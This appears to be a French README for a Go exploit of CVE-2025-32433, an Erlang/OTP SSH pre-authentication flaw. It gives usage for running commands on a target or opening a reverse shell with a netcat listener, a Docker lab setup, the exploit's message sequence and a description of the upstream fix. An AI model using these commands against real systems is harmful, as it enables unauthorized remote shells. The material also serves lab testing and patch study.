meloppeitreet/cve-2025-32433-remote-shellExploit basé sur Go pour CVE-2025-32433
Exploit en Go pour CVE-2025-32433 retournant un shell bash distant.
Fortement inspiré de la compréhension de l'exploit dérivé du PoC de ProDefense pour CVE-2025-32433.
make
exploit.exeest également disponible pour les machines Windows grâce au Makefile de compilation croisée.
puis exécutez le binaire de l'exploit de l'une des 2 manières suivantes :
Commande
./exploit <target-ip> <target-port> "<command>"
NOTE : ne retourne pas la sortie de la commande
Shell inversé
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
En utilisant le Dockerfile de ProDefense, vous pouvez configurer un environnement via les commandes suivantes :
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
Vous pouvez ensuite exécuter l'exploit comme dans la section Exécution de l'exploit : par exemple
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1est l'IP par défaut pour l'hôte Docker
TL;DR « Le problème est causé par une faille dans la gestion des messages du protocole SSH qui permet à un attaquant d'envoyer des messages du protocole de connexion avant l'authentification, »
Procédure SSH typique :
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
Procédure de l'exploit :
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (Pré-authentification)SSH_MSG_CHANNEL_REQUEST (Pré-authentification) --> contient la charge utile de la commandeRemarquez que toute la partie USERAUTH est ignorée dans l'exploit.
RFC pertinentes pour les messages SSH :
SSH_MSG_KEXINIT
SSH_MSG_CHANNEL_OPEN
SSH_MSG_CHANNEL_REQUEST
Format des chaînes (d'après RFC 4251: The Secure Shell (SSH) Protocol Architecture)
Bourrage
Voici le correctif introduit dans les bibliothèques Erlang OTP dans le commit ssh: early RCE fix :
Le correctif introduit une nouvelle clause handle_msg qui, selon ses arguments, intercepte :
Msg : variable fourre-tout pour tout message SSH entrant non encore capté par les clauses précédentes (comme #ssh_msg_disconnect{})#ssh{authenticated = false} : état de session qui correspond si la connexion n'a pas encore été authentifiée.La clause n'intercepte pas les sessions avec authenticated = true, qui est attaché à la session lorsque le serveur reçoit un #ssh_msg_userauth_success{} :
qui est envoyé après le succès de l'une des méthodes d'authentification suivantes :
